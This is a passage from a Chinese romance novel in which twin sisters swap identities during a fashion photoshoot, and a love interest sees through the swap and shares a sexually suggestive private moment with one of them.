她一怔,正要解释,云闻已经走了回来,嘴角挂着一抹淡淡的笑意,语气促狭:“她不是我,是我的双胞胎妹妹。” “我的天,这相似度也太高了吧!” 云闻好整以暇地欣赏着大家震惊的表情。 她已经换上了品牌新一季的冬季成衣——一件剪裁利落的白色长款风衣,内搭高领毛衣,下身是修身的皮裤和同色系长靴。 她的长发被盘起,露出修长的脖颈和冷艳的轮廓,在一片冰天雪地中尤为夺目。 等一切准备就绪后,云闻跟着工作人员去了拍摄场地。 摄影师站在一旁,透过取景器仔细观察她的状态,语调兴奋:“太棒了,Chloe,你整个人就像是从冬季时尚杂志里走出来的女王。” 在摄影师的指令下,她缓缓转过身,手指拂过风衣的衣摆,长腿交错,步伐自信,仿佛是冬日雪境中漫步的女神。 她的眼神随着动作轻轻变换,眸光如刀,锋利而克制。 “很好!这个眼神保持住。”雪地里快门声此起彼伏。 “试着再冷一点,冷到让人不敢接近。”摄影师引导道。 云闻闻言,垂下眼睫,红唇抿起,收敛起所有的笑意,周身散发出一种疏离而凌冽的气场。 她的肩膀微微后倾,双手交叉轻搭在手臂上,脚尖轻点地面,站在极寒之境,但不畏风霜。 …… 拍摄间隙,云闻快步走进帐篷。她的睫毛上还挂着细小的冰晶,呼出的白气在空气中消散,“听宝,怎么样?” 她接过Aria递来的暖手宝,“看我拍摄,是不是很无聊?” 云听摇摇头,“姐,你工作的时候真好看。” 云闻眨了眨眼,笑着伸手揉乱她的发顶,“你要不要尝试一下?我们一起发光。” 云听轻笑:“算了吧,我还是更喜欢看你发光。” 云闻怔了怔,片刻后,眉眼弯弯,轻声道:“好,那我就继续发光给你看。” 她没歇息多久,去了趟更衣室,又回到摄影师身边。 云闻换了一套新的服装。 但这一次,她没有立刻摆出新的造型,而是低着头,凑近摄影师,不知在交谈什么。 摄影师是一位三十多岁的男人,戴着一副黑框眼镜,气质儒雅又带着些艺术家的随性。 他本来正调试着相机的参数,听到云闻的话后,微微一愣,随即抬起头,目光直直地落在不远处的云听身上。 云听手中的热饮刚送到唇边,在对上摄影师的目光后,硬生生顿住了动作。 她心里生出一种莫名的不自在。 摄影师的目光不算犀利,像是在评估一件珍贵的艺术品。 他……在看什么? 云听舔了舔嘴唇,低头整理了一下衣服,可当她再次抬头时,摄影师的目光依旧停留在她身上,没有移开的意思。 云听侧过头,假装去看远处的雪山。 云闻到底和他说了什么? 午餐时间,拍摄团队撤到一处临时搭建的保温餐区。工作人员们围坐在简易的餐桌前,吃着提前准备好的热汤和便当,现场的氛围比刚刚轻松了不少。 云听原本想找个角落和云闻安静地吃饭,但云闻却直接拉着她,坐到了摄影师对面。 摄影师抬起头,目光在她脸上停留了一瞬,嘴角勾起一抹意味不明的笑意:“云听是吧?” 云听点了点头:“嗯。” 摄影师:“你有没有考虑过和你姐姐一起拍一组照片?” “……什么?”云听意外地问。 “你们是同卵双胞胎吧?”摄影师放下勺子,推了推鼻梁上的眼镜,“长得一模一样,但气质完全不同——你比Chloe更柔和,更沉静,镜头前的表现应该会很特别。” 云听眨了眨眼睛,目光转向云闻,想看看云闻是什么反应。 这种话,应 该不会有人喜欢听。 哪怕这句话没有任何贬低的意思,只是单纯的客观描述,但被拿来对比,总是会让人不适。 但云闻只是笑了笑,端起汤碗喝了一口,完全没有替她回答的意思,仿佛早就知道摄影师会这么提议。 难道,她们刚刚在那边嘀嘀咕咕,就是在说这个? 摄影师继续说道:“如果你愿意,我们可以安排一组双生主题的大片,风格可以偏艺术向,也可以拍一组对比感强烈的照片——冷艳与温柔,疏离与亲近,一组照片里展现两个极致的对立面。” “或者,”他顿了顿,目光深深地看着云听,“我们可以拍一组让人分不清你们的照片,模糊你们的身份,让观众去猜测到底谁是谁。” 听到摄影师的提议,云听蹙眉。 她和云闻的世界一直是分开的。云闻属于镁光灯下,而她一直安静地待在聚光灯之外。 更何况,她没有名气,拍了也没有意义。 品牌要的是“双生”概念,如果真的想要呈现完美的“双生感”,完全可以让云闻一个人分饰两角。 现在的技术足够成熟,只需要后期合成,就能轻松达到镜像般的效果,甚至比真正的双胞胎更加精准。 她根本没有必要站到镜头前。 时尚圈是个极度现实的地方,没有名气、没有市场价值,她的存在就是多余的。 但就在她刚要拒绝的时候,摄影师凑近了些,压低声音,和她分享秘密:“你姐姐和Livia拍的那组双生照片,你知道吗?” Livia?她当然知道Livia是谁,也知道这组照片。 云闻前几天还和她吐槽过。 Livia和云闻,可以说是整个公司里经常被放在一起比较的两位模特。 两个人不仅是同期出道,还频繁竞争同一类资源,有多个品牌都喜欢拿她们做对比,以此制造话题度。 一山不容二虎。 这句话放在她们身上,再合适不过。 更何况她们还在一个公司。 摄影师见她没反应,继续说道:“这次品牌要求拍一组‘双生’概念的照片,原本是定了Livia和你姐姐搭档的。可你知道吗?这两个人拍得有多痛苦?” “她们已经拍了五六组了,硬生生把‘双生’的概念拍成了‘死敌’。每次站在一起,气场都针锋相对,完全没有那种‘异卵双胞胎’该有的和谐感。”摄影师轻笑了一声,无奈道,“而且Livia前天不知道吃了什么,脸上过敏得厉害,品牌方也不敢用她了。” 摄影师的声音有些诱导的意味,说道:“品牌那边的意思是——要么换Livia的替补,不过至今没找到合适的人,要么整个项目作废。” “作废?” 云听清楚,品牌这次的“双生”概念,对于云闻来说意味着什么。 这不仅仅是一组普通的宣传照,而是一个极具分量的合作项目。 品牌方对“双生感”的要求极高,若是无法拍出他们想要的效果,云闻之前的努力都会白费。 她不能让这个项目失败,不能让云闻的辛苦付诸东流。 云听深吸一口气,抬眸看向摄影师,“好,我来。” 云闻捏了捏她的脸,“听宝,别紧张,就当陪我玩一玩。” 第43章 第四十三章 身份互换 品牌方希望通过这组照片, 呈现一种极致的“双生感”。不仅仅是外貌的相似,更是一种情绪上的共鸣,一种彼此映照的联结。 但“双生”从来不是简单的复制。 它既相似, 也对立;既彼此交融,也各自独立。 摄影棚内的灯光调整,幕布展开,一片纯黑色的背景笼罩住整个空间, 将外界的一切干扰都屏蔽在外。 云听和云闻站在中央,她们穿着相同的服装,连妆容都极为相似,像彼此映照的影子。 云听站在云闻的身侧,身上是一套剪裁精致的黑色西装, 面料柔软挺括,衬得她的肩背笔直。 “第一组拍‘镜像’。”摄影师站在镜头后,沉稳地指示道,“这组照片的核心,是你们本质上的相似, 像是一面镜子,但仍然有所不同。” 云闻接受指令,稍微侧过身,指尖虚虚地朝着云听伸去, 眼神含着些许探究,似乎在确认镜中的自己是否真实存在。 “云听, 眼神再放松一些。” 云听吸了口气,依言调整自己的表情。 她目光轻柔,犹豫地看着面前的“自己”,手指抬起, 又迟疑地停在半空,小心试探这层镜面是否会破碎。 摄影师抓住瞬间,按下快门:“接下来,我们再试一种状态。Chloe,你的眼神锐利些,要看穿镜中的自己,而云听,你的眼神需要带点不安,要质疑镜中人。” 云闻扬起下巴,唇角含一丝轻浅的弧度, 这不是笑,而是一种游刃有余的掌控感, 云听只能想到用“皱眉”来表示“质疑”,可是皱眉真的上镜吗?她迟疑了,误打误撞正是摄影师要的效果。 远远看去,她像是被自己的倒影窥探出了内心最深处的秘密。 快门声再次响起,一张又一张画面定格。 摄影师盯着镜头里的画面,满意道:“这组拍得很成功。” 在镜头里,云听和云闻像是彼此的镜像,又像是两个即将碰触的灵魂,近在咫尺,却隔着一层无形的屏障。 这一组照片强调的是“双生”的同步感——动作要精准、角度要一致,哪怕是微小的表情变化,都必须完全契合,才能营造出“镜中人”的错觉。 但真正的双生,并不只是完全一致的镜像,而是一种微妙的共生关系。 同样的外表之下,她们是不同的个体。 换言之,同样的神情,不一样的感情。 “接下来,第二组,我们拍‘对立’。”摄影师调整着相机参数,缓缓道,“你们的本质相同,但仍然是两个完全独立的个体,这一组,我要拍的是你们的不同。” 造型团队迅速上前为她们调整服饰和妆容。 云闻换上了一袭银白色礼服,裙摆流畅如水,未来感十足。她的发丝被发胶固定得整整齐齐,唇色很深,整个人散发着强势而冷艳的气场。 而云听,则换上了一袭轻柔的雾霭灰长裙,材质轻盈,远远看去,好似晨雾缭绕在身侧。 她的发丝被打散,唇妆是温柔的裸色。 这一次,她们不再是彼此的镜像,而是光与影的交错。 摄影师眯起眼睛,仔细观察镜头里的画面:“Chloe,你往前一步,云听,你稍微后退半步。 云闻迈步向前,目光锋利,气场如寒刃出鞘,云听退后,像是被这股气势所压迫。 接连不断的快门声响起。 摄影师心满意足地看着屏幕:“很好,你们已经形成了明显的对立感。” 光与影,冷与暖,逼近与退让,进攻与守护。 她们站在同一个画面里,代表着完全不同的方向。 快门声不断落下,摄影师的眼神里闪过一丝狂热,他大声道:“这就是我要的感觉……极致的对立,极致的双生。” 拍摄之前,云听听云闻说这是和她关系最好的摄影师,先前拍摄双生的摄影师审美实在太差,品牌方心有不满,于是中途换了摄影师。 云闻还说,这个看起来低调的摄影师,是业内相当有名的存在。拍摄风格大胆,时常能拍出令人惊艳的作品,但同时,他也是个思维跳跃、古怪且常常出其不意的人。 许多合作过的模特都说,他的拍摄习惯特别独特,喜欢在模特最放松的瞬间抓拍,或者忽然要求他们做一些与主题完全无关的动作。 比如拍摄高定礼服时,要求模特赤脚在雪地里奔跑,或者在极其冷艳的拍摄氛围里,心血来潮让模特做一个极其幼稚的表情。 果不其然,拍摄完两组照片之后,他捏了捏下巴,灵感乍现,快步朝云闻和云听走去。 “接下来,”他说,“我们交换角色。” 云闻不理解,问:“什么意思?” 摄影师笑了笑,目光灼灼地注视她们:“双生不仅仅是相似与对立,它也是可以互换的。我们已经拍出了你们各自最擅长的特质——但如果颠倒呢?” 他将目光转向云听:“云听,你来拍冷艳锋利的那一面。” 又看向云闻:“而你,去展现柔和纯净的一面。” 整个摄影棚安静下来。 这对云闻来说或许不算什么,她是专业的模特,能轻松驾驭各种风格,但对云听来说,是一次前所未有的挑战。 她不是站在镜头前的人,更不用说去模仿云闻凌厉而夺目的气场。 云听的心顿时悬了起来。 她连刚才那两组的拍摄都已经力不从心了,现在让她尝试云闻强势、冷艳的风格……这对她来说根本就是不可能完成的挑战。 “这个……”她犹豫地看向云闻。 “听起来挺有趣的。”云闻倒是笑了笑,率先答应下来,“换就换吧,反正我们也从小互换身份,不是吗?” 当工作人员拿着新的服装走过来时,云听看了一眼,整个人当场僵住。 不情不愿换上后,她更不想出去见人了。 这是一条黑色的紧身裙,剪裁大胆,肩线滑落,露出她纤细的锁骨和优美的肩颈线条。腰部收得极细,贴合她的身形,裙摆开衩高至大腿,隐约透出一丝危险的冷艳气息。 而脚下搭配的是一双黑色细高跟鞋,鞋跟极细极高,仅仅是看着,就让她走不动道。 而另一边,云闻换上了一套完全不同的装扮。一件纯白色的高领毛衣,搭配一条柔软的米色长裙,裙摆及踝,轻柔的布料在她身上勾勒出温婉静谧的气质。 她本就生得漂亮,现在这样穿着,整个人犹如一幅冬日画卷,干净又澄澈。 云听低头看自己的穿着,后悔不已。 她从未穿过这么性感的衣服,更别说踩着这么高的鞋子在摄影棚里走动了。 云闻注意到她的目光,轻笑了一声,揶揄道:“怎么?后悔答应互换角色了?” 云听咬了咬唇,最终还是没说什么,默默走进化妆室。 里面的化妆师立刻为她们调整妆容。 云听坐在镜前,看着化妆师拿起深色系的眼影刷在她的眼皮上晕染,一种陌生的感觉涌上心头。 她的妆容被调整得比以往浓烈一百倍,眼影的颜色很深,带着些许烟熏的冷酷感,眼尾拉长,使她的眼神看起来更加凌厉。修容打得分明,唇色是大胆的深红,带着一丝攻击性的性感。 镜子里的人明明是她,可那双眼睛却不再是她习惯的温和模样,而是透着一丝强势与冷冽。 “完美。”化妆师后退一步,打量着她的妆容,满意一笑,“你看起来像个掌控全场的女王。” 云听不自在地垂下眼睫,手指不安地摩挲着裙摆。 而云闻的妆容则是完全相反的风格。 化妆师为她调整了底妆,使整体妆感更加清透,眼影是温柔的大地色系,眼尾没有刻意上扬,而是微微晕染开来,让她看起来更加柔和。 腮红轻扫过面颊,唇色也换成了自然的蜜桃色。 一切准备就绪后,工作人员各司其职,摄影师按下快门。 可云听的身体僵硬得像块木头。 她站在摄影棚中央,手臂尴尬地垂在身侧,想要摆出自信的姿态,却又不知该如何行动。 黑色紧身裙贴合她的身体,腰线被勾勒得极为纤细,开衩的裙摆只要稍微一动,大腿的线条便若隐若现,这种暴露感让她极不自在。 高跟鞋更是个问题。她几乎没有穿过这么细这么高的鞋子,原本就紧张的情绪让她更是站得不稳,脚尖颤抖。 云听尽力调整站姿,可稍一用力,鞋跟便不受控制地陷进了摄影棚铺设的柔软地毯里,让她险些踉跄摔倒。 云闻稳住她的身形,“别紧张,听宝。” 摄影师透过镜头观察她,不满意地摇头,随后提醒道:“云听,你太僵硬了。” “眼神再凌厉一点,云听,你要想象自己是一个与生俱来的女王,骄傲而不可一世,懂吗? 云听努力挺直腰背,试图摆出云闻自信从容的冷艳感,还是不行。 每换一个动作,云听的手指就会下意识地揪着裙摆往下扯。 她总觉得裙子太短,开衩太高,裸露在外的皮肤过多,每一个动作都像是暴露了自己,让她无法真正投入到拍摄中去。 摄影师又按了几次快门,始终没有得到理想的画面。 “你还是太拘谨了。你要放开一点,不要总是防备着镜头,就像——”摄影师顿了顿,思索着措辞,“就像你知道自己很美,而世界上的所有人,都应该臣服在你的魅力之下。” 云听抿了抿唇,“抱歉。” 摄影师看了她一会儿,摆摆手:“没关系,我们先休息一下。” 工作人员立刻走上来,递上温水和毛毯,让她们放松。 云听叹了口气,默默地走到休息区的一角,静静地坐下。 她靠在软垫上,把毛毯放在腿上,双手交叠在一起, 云闻站在她的旁边,用吸管喝了一小口温水:“听宝,我第一次拍摄时,比你还紧张。” 云听苦笑了一下,“我好像真的做不到。” 她摇了摇头,“我不明白为什么要拍这种完全不属于我的,太难了。” 云闻顺势在她旁边坐下,“你不用刻意模仿我,也不用去想‘我要变得多么冷艳、多么有气场’。” “你只需要想象一件事情,有没有人,让你觉得必须变得强大?或者有没有一个瞬间,让你觉得如果自己不够自信,就会被轻易击垮?” 就在云听沉默不语、调整心态的时候,云闻凑近:“听宝,我找人来给你打气了。” 云听抬起眼,正好对上云闻那双含着促狭笑意的眼睛,警觉起来:“谁?” 云闻慢悠悠地晃着手里的水杯,缓缓吐出一个名字:“聿哥。” 云听手一抖,不可置信问:“……什么?” 云闻耸肩:“我刚刚给他发了消息,他马上就到了。” 云听以为,她和徐清聿至少在这段时间里不会见面。 可现在,他要来了? 她还没想好该怎么面对他。 她不知道,当徐清聿看到她现在这副模样时,会是什么反应。 她没有穿过类似的衣服,更从未以这样的形象出现在徐清聿面前。 而最糟糕的是,她根本没办法自然地驾驭这身衣服。 她刚才的拍摄几乎可以用“失败”来形容,别说冷艳,连站姿都僵硬得像个不会动的模特。 云听不敢想象,等徐清聿来了,他会怎么看她? 她的脑子里乱糟糟的,指尖不停地摩挲着杯壁,让自己冷静下来,可心脏还是不受控制地乱跳。 “你——”云听犹豫了一下,“你为什么要叫他来?” “因为你想他呀,”云闻眨了眨眼,理所当然地说:“开个玩笑啦,当然是想看看他能不能认出你啊。” “……” 云听一时语塞。 云闻撑着下巴,“我怀疑聿哥认出我们是因为我们的穿衣风格不同。” 她抬起手,食指点了点云听的肩膀:“现在,我们的风格完全对换了,他还能认出来吗?” 云听张了张嘴,半天没有说出话来。 徐清聿,还能认出她吗? 云闻看她犹豫的神情,一脸坏笑:“这样吧,我们打个赌。” 云听问:“赌什么?” 云闻眨眨眼,笑得意味深长,她总会有一些稀奇古怪的坏主意:“如果聿哥没有认出你,那你就不要原谅 他,不要去理他。” “可是……如果他认出来了呢?” 云闻勾起唇角,语气懒懒的:“那也不要原谅他,谁让他对你说这么过分的话。” 云听:“……” 十分钟后,云听还没从混乱的情绪里理清思绪,远处便传来一阵脚步声。 一道高挑挺拔的身影逆着光走了进来,徐清聿跟在云闻的助理身后,黑色大衣裁剪利落,身形修长,寒冷的冬日空气也无法削弱他的气场。 徐清聿来了。 云听和云闻同时站起身,云闻喃喃自语:“还真是说曹操曹操到啊。” 云听傻傻地站在原地,云闻已经迈步朝徐清聿走去,“徐、徐清聿…你怎么来了?” 云闻把语气压得低低的,语调很温柔,完美地还原了云听的言语和动作。 她的模仿如此到位,连云听特有的腼腆感都被她无缝嵌入。 徐清聿的步伐一顿,黑眸里闪过一丝诧异,他的目光在云闻身上停留了不到一秒,随即便越过她,落在了不远处的云听身上。 那双深邃的眼眸沉沉地落在她身上,像是在审视,又像是在确认什么,云听所有的紧张和不安好像都被他一眼看穿了。 徐清聿目光掠过她的脸,然后往下,看到了她的穿着—— 他的眼神眨眼之间变得犀利又不悦,以至于云听误以为整个世界的色调都随着他脸色的变化暗沉了下来。 不知为何,云听能感觉到徐清聿目光中的冰冷和沉默的愤怒。 果然—— 徐清聿冷冷地问道:“几天不见,都不会叫人了吗?” 云听知道徐清聿说的是她,她低下头,声音磕磕巴巴,回忆云闻的口吻,艰难地喊出,“聿哥。” 徐清聿:“嗯。” 这时,云闻又模仿起云听:“徐清聿…我不知道、你会过来…” “嗯。” 云听心头泛起一丝苦涩。 徐清聿没有认出来。 她本来还抱着一点点希望,可现在看来,徐清聿过去每次都能分辨出她和姐姐,并不是因为他真的能认出她,而只是因为她们的穿衣风格不同而已。 这次她和姐姐完全换了风格,他果然就认不出来了。 云闻在旁边笑眯眯地看着她,一副“你看吧”的表情。 云听张了张嘴,嗓子有点发紧,硬着头皮继续把谎言圆下去:“是我让聿哥过来的。” 徐清聿看着云听:“卫生间在哪,带我过去。” 云听的反应也很迅速:“我让助理带你过去吧。” 徐清聿没有说话,目光紧紧锁住她,云听心中一阵发毛,后悔自己一时冲动,理会云闻的恶作剧。 徐清聿要是发现她和云闻联起手来戏弄他,他会生气吗? 连看好戏的云闻都感觉到徐清聿的不对劲,她站在一边,一句话也不敢说。 云听思来想去,还是决定不告诉徐清聿真相,况且她现在也不知道怎么以“云听”的身份和他相处。 “好吧。” 云听每走一步,都需要极大的集中力来保持步伐的平衡。 当她迈出第十步时,不小心瞄到了徐清聿,一分神,她没能稳住重心,右脚猛然向前滑去,快要摔倒在地。 就在她以为自己必定摔倒的时候,一只有力的手臂揽住了她的腰。 淡淡的雪松香气钻入鼻腔,混合着一丝若有似无的烟草味。云听的胸膛贴上一个坚硬的胸膛,结实的触感立刻传遍全身。 “小心。”徐清聿的气息拂过她的耳垂。 云听的耳根发烫,她慌忙站直身体,却因为鞋跟太高,一个踉跄又往后倒去。 腰上那只手收得更紧了些,将她牢牢固定在怀里。云听抬起头,映入眼帘的是徐清聿饱满的喉结。 徐清聿说:“小心点。” “谢谢。” 云听带着徐清聿走向卫生间,每一步都像是踏在悬崖边缘,心情忐忑不安。 走到卫生间门口时,徐清聿停下脚步。 “进去。”他的声音冷静,有着一种难以忽视的强势。 云听没明白他的意思。 “进去。” “徐清…聿哥,可是这是男厕所,里面有人怎么办?” “旁边的房间。” 卫生间旁边是一个小杂物室。 “好吧,”云听没有再多说什么,抬脚走了进去。她还没来得及完全进入,徐清聿已经跨步跟了进来。 她刚一转身,就被他迅速拉住了手腕。 紧接着,门被锁上。 “聿哥…”云听还在装傻,嗓音迷失在这片压迫感四溢的空间里。 第44章 第四十四章 “这里,别人看不见。”…… 门“啪嗒”一声锁上。 云听紧张地吞了吞口水:“聿哥, 这样不好吧,很容易让人误会的。” 话音未落,徐清聿抬起一只手, 撑在云听身侧的墙上,形成一个封闭的空间,将她圈在自己与墙壁之间。 他垂眸:“误会什么?” 云听维持表面的镇定,“误会我们之间有什么。” 她穿着高跟鞋, 鼻尖正到徐清聿下颌线的位置,目光向下时,能看到徐清聿一张一合的唇。 徐清聿的声音染了点危险的腔调:“我们之间有什么……你倒是说说看。” 云听被他逼得失语,睫毛微颤,撇过头去看墙角一堆杂乱的纸盒。 她突然有点生气, 也有点委屈,“你这样做,真的很渣。” 徐清聿闻言,唇边的笑意耐人寻味,他低头, 贴近云听:“渣?嗯……我怎么渣了?” 云听抿了抿嘴,狠狠地咬住下唇,眼神决绝却又有些无力,“你自己清楚。” 外面是冬天, 拍摄现场的暖气让主区域变得温暖,但这间小房间暖气并没有覆盖到, 房间内有些冷。 空气凉凉的,云听忍不住搓了搓手臂,来消散身上的寒意。 徐清聿默默观察着她的一举一动,见状, 他解开外套,将黑色大衣披在她的肩头。 然后,挑起云听的下巴。 云听佩戴了美瞳,瞳孔扩张的部分尤为清晰,仿佛蒙上了一层薄薄的水雾。 眼波流转间,细碎的光点在其中闪烁。 她的睫毛颤了颤,像是沾了晨露的蝶翼。 徐清聿一时失神,很快回过神,将云听拉进怀里,动作出乎意料地迅猛,强势而又充满占有欲地将她紧紧抱住。 云听思维还没跟上,整个身体便被徐清聿牢牢圈在怀里,胸口被他的怀抱压迫,似乎整个世界都在这一刻变得狭小,只有他和她之间的距离。 “你……” “笨死了。”徐清聿的脸埋在她的发间,呼吸有些沉重,嗓音沙哑,“云听,我不喜欢你和云闻玩角色互换的游戏。” 他说话时语气很轻,但云听察觉到他内心的纠结与不安,“这种模糊不清的界限,让我感到一种莫名的焦虑。” 说罢,徐清聿放开云听,凝视着她的眼睛。 云听瞪大了眼睛。 原来徐清聿一直都知道她不是云闻。 她的脑海里迅速回想着过去的种种,看似无害的、只是为了取乐的角色互换游戏,现在因为徐清聿一句话,变得不那么有趣了。 “徐清聿,你是怎么认出我们的?” 其实她早就想问了,一直找不到合适的时机。 云听不是生活在美好爱情故事里的人,当两个长得一模一样,神情、穿着相似的人站在一起,她不认为爱可以看破外在,直达内在。 更别提,两人有意模仿对方。 孟妍和云渡爱她和云闻,但两人也无法准确区分她们。 每当她和云闻站在一起,孟妍总是要细细看一会儿,才会认出谁是她,谁是姐姐,云渡也常常会问:“这个是小闻,还是小听?” 云听早已习惯了模糊的认知,这就是人类的局限。 即使是最深的爱,也不能打破某些生理上的界限,爱情也不能跨越这种差异。 徐清聿叹了口气,他说:“我靠直觉来分辨你们,凭感觉,凭眼神,凭细节……可是云听,你要知道,直觉,并不总是可靠的。” 徐清聿是一个理科生,向来思维严谨。 他的世界里,所有的事情都需要有证据,所有的推理都必须有理有据。 对于他来说,直觉从来不是判断的依据,所有的决定和思考都必须建立在经过充分验证的数据与事实之上。 这种理性思维的方式,早已融入了他的骨血。 医学也是一门建立在严谨逻辑和科学实验基础上的学科。 每一项诊断,每一个治疗方案,都需要依赖大量的临床数据、实验证据以及理论支持。医生必须冷静分析,排除所有不符合常理的假设,才能给出最准确的判断和方案。 他不会因为某些表面的迹象或是无确凿证据的直觉来做决策。对数据的信任,远远超过任何主 观的感觉。 徐清聿不喜欢直觉,他问:“云听,如果有一天,我的直觉错了,我没认出你呢?” 云听认真地看着他:“没关系的,爸爸妈妈也会认错我和姐姐。” 徐清聿沉默不语。 先前他的直觉之所以正确,部分原因是云听给了他机会。 每次他们的目光交汇时,云听总是避开他的眼睛,避免过于深入的凝视。 徐清聿曾经以为,这只是云听的性格使然,但他如今才明白,这种回避眼神的举动,不是因为她内向或胆怯,而是因为背后藏着他未曾察觉的感情。 云听喜欢他。 她不敢与他对视,是因为她害怕眼神中流露出的情感会暴露她内心的秘密。而他也从未真正理解过这点,只是隐约地觉得云听看他的眼神稍微有点不自然。 思及此,徐清聿的心一慌。 他承认,云听和云闻有演戏的天赋,云听这一次,表演得很好,看他的眼神毫无起伏。 可这也是他害怕的地方,若有一天,云听的心不再属于他,不再对他有特别的情感。 那时,他便无法再从她的眼中分辨出她与云闻的区别,因为他失去了特别的标识。 与其说徐清聿担心自己认错人,不如说,他害怕失去云听,害怕她不再喜欢他。 可是……现在还不行。 徐清聿闭了闭眼睛,再次睁眼时,眸色晦暗不明。 他的目光一路攀附,从云听颤动的指尖,移至她微卷的发梢,最后落在那双映着水色的眼眸之上。 “我想吻你。” 云听一愣,睫毛抖了抖,惊讶地抬起头看着他,她没想到徐清聿会说这样的话。 一瞬间,本就红润的脸颊更红了,她有些不知所措地说道:“可是……我还要拍摄,不能毁了妆容。” “不亲嘴巴。” 云听下意识地低头,看向自己裸露在外的肌肤。 肩膀、锁骨、手臂,还有她看不到的后颈……她的脑子里划过一个念头,万一徐清聿没亲嘴,而是在其他地方留下痕迹呢? 她今天的造型这么露,要是拍摄时被发现,那岂不是完了? 云听眼神戒备:“你…不能等我结束吗?” 徐清聿摇了摇头,语气坚定:“不行。” 他想了下:“吻在别人看不见的地方。” 云听咬着下唇,耳尖通红,迟疑地问道:“……哪里?” 徐清聿没回答,微微弯下腰,手掌顺势落在她的大月退上,指腹轻轻滑过她光滑的肌肤,在裙摆的边缘停留了一瞬,然后探了进去:“这里。” 云听绷紧身体,呼吸一滞。 她没有想到,徐清聿指的竟然是这个地方。 她本能地往后缩了一点,腿往一侧避开。 “不行……” 徐清聿不急不缓,指尖停在她大月退的内侧,隔着细腻的肌肤,感受着她微不可察的颤抖。他看着她,唇角上扬,嗓音故意压低了几分:“这里,别人看不见。” 云听屏住了呼吸,拼命摇头。 她当然知道这个地方的确别人是看不到的,但问题是,她今天的裙子本来就不长,如果他真的做了什么……极有可能吻到那儿。 她的脑海里一片混乱,甚至都不敢往深处去想。 云听抬手挡了一下,“你、你别闹了。” 徐清聿当作没听到:“没有来例假吧?” “没,没有…” 不出意外,云听这个月的例假又要推迟了。 外面嘈杂的声音断断续续地传来,工作人员在忙着调试灯光,造型师在讨论造型,有人在卫生间进进出出,脚步声不断,水龙头开关的声音偶尔也会响起。 徐清聿半蹲在云听的面前,手掌向上,沿着她的小腿摩挲,每一寸触碰都如同炙热的火焰,点燃她细腻的肌肤。 他的指尖略微粗粝,轻柔地描摹着她的轮廓时,有一种令人心悸的沉溺感。 慢慢的,徐清聿的唇瓣贴近云听的大月退,在相触的刹那,云听身体猛地一晃,指尖也随之收紧。 “你……”她张了张嘴,嗓音是不稳的颤意,“快起来……” 徐清聿的吻很轻,落在她肌肤上像羽毛拂过。他没有急于深入,而是极尽耐心地亲吻着,从膝侧缓缓往上,每一次触碰都像是刻意放慢的折磨,唇瓣落下的地方,一点点泛起细密的战栗感。 “外面……还有人……” 徐清聿闻到了沐浴露的清香,停顿了一下,“云听,你洗澡了吗?” 上午云闻拍摄完成后,两人就先回家了,等下午四五点才去了摄影室。 在此之前云听洗了个澡。 她不自然回答:“嗯……拍摄之前冲了一下。” 徐清聿“嗯”了一声,没再继续问。 那股清香很淡,混合了沐浴露的温润和她本身肌肤的气息,还有点湿润的干净感,意外地勾人。 徐清聿安慰她:“没人会听见。” 说罢,他轻轻地咬了咬云听大月退内侧的皮肤。 服装师在给云听搭配服装时,考虑到了拍摄中的姿势和动作,让云听穿了一条安。全。裤。以确保在各种角度下都能保持得体。 这条安。全。裤虽然短小,几乎只能覆盖大月退上部,但它还是给了云听一种隐秘的安心感,避免了意外走光的尴尬,也避免了徐清聿的进一步深入。 徐清聿咬过云听大月退的地方,齿痕处的肌肤开始泛红。 忽然他停下动作。 修长的手指如同灵动的蛇,勾住云听的安全.k,一扯。 “徐…徐清聿…” 云听开始挣扎,想要躲避,可双腿被徐清聿禁锢住了,动弹不得。 徐清聿在被扯动的位置落下一吻。 内层布料晕开水色。 唇离开了,手指…… 不多,有一层布料的阻挡,三分之一。 云听喉咙里发出一声又惊又羞的轻//喘,不受控制地向外溢出。 她的双腿发软,若不是背后的墙壁支撑和徐清聿的控制,恐怕早已瘫倒在地。 “下次你可以尝试更短的裙子。”徐清聿每一个字都裹挟着滚烫的气息。 十秒后,他抽出食指,站起身,眼神直直地盯着云听,里面的占有欲与警告直白又浓烈。 云听不是智力障碍者,徐清聿看似怂恿的话语,实则是在警告她别再穿这么短的裙子。 徐清聿捏了捏她的耳垂:“走吧,自己去卫生间处理一下。” 听到这话,云听羞愤与恼怒涌上心头。 腾腾的火气在胸腔里熊熊燃烧,“你怎么能……” 她的话还没说完,身体已经先一步做出了反应。 云听双手使劲揪住徐清聿的衣领,将他的脖子拉近。紧接着,毫不犹豫咬上他的后颈,牙齿陷入他的肌肤,力度之大,仿佛要将满心的委屈与愤怒都宣泄出来。 徐清聿吃痛地闷哼一声。 云听没有松口,反而咬得更用力了。许久,她才松开牙齿,看着他脖子上清晰的牙印,心中的怒火稍稍平息了一些。 第45章 第四十五章 “真是病态啊” 灯光映照在宽大的镜面上, 摇曳的光影在墙上投下暧昧不明的涟漪。 卫生间很干净,没有任何难闻的异味。 角落中,某种高级香薰在小小的器皿中燃烧, 发出微弱的火光。 或许是檀香的醇厚,或许是琥珀的温润,也有可能是木质调的清幽。 云听敏锐地意识到,自己的嗅觉出了问题。 所有原本分明的气味, 蓦地变得模糊不清,像是被一阵无形的风吹散了一层,只留下混沌不明的残影。 她以前能大差不差地说出香薰配方,可现在呢? 只能感觉出一个大概。 云听想辨认出香薰的具体成分,可任凭她如何专注, 鼻腔里萦绕的,只有另一种更深刻、更具侵略性的气息。 是雪松的味道。 冷冽,沉稳,干燥的木质感,清冷却又不失厚重。 那味道裹挟着冬日的寒意, 却又因贴近了皮肤,而透出一种独属于男性的温度。 除了雪松的气息,还有另一种更隐晦的味道浮现出来——淡淡的烟味 。 烟味不算浓烈,也不是刺鼻的呛人感, 混杂在空气中,像是被指尖碾灭的余烬, 残留着焦香与微微的苦涩感。 云听擦干手,拍了拍脸,嗅觉仍无法恢复正常。 所有的感知被人为地剥夺,只剩下这两种气息盘踞在她的鼻腔里, 无处可逃。 云听想,大概是徐清聿吻她的时间太长了,才会这样。 云听叹了口气,她扶着洗手台,掌心贴在冰冷的大理石台面。 她不敢抬头看镜子。 更不敢看镜子里的人。 可是口红已经渗透到唇线外缘,不看镜子胡乱擦拭,可能会弄巧成拙,损坏了精心描绘的妆容。 云听缓缓地抬起头。 镜中的自己进入视线。 云听呆住了。 镜子里的人,真的还是她吗? 精致的妆容依旧完整,可那份冷艳已不复存在。 她的眼尾晕染得更深了一些,原本冰冷的线条因为水光的点缀,竟然生出一丝勾人的媚态。 